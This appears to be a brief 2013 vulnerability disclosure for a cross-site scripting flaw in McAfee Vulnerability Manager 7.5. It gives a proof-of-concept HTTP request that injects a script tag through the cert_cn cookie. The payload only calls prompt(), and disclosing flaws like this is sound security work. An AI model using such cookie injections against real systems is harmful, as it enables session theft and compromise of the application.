================================================================================================================================================================
 
                     McAfeeŽ Vulnerability Manager 7.5 cross-site scripting (XSS) Vulnerability
================================================================================================================================================================
 

#Date- 8/3/2013

# code by Asheesh kumar Mani Tripathi
 
     
 
# Credit by Asheesh Anaconda
 
 
 
#Vulnerbility
  McAfeeŽ Vulnerability Manager 7.5   is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly 
sanitize user-supplied input 
 
#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities 
 
 
========================================================================================================================
 
                                                           Request
========================================================================================================================


GET /index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7; cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E; remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*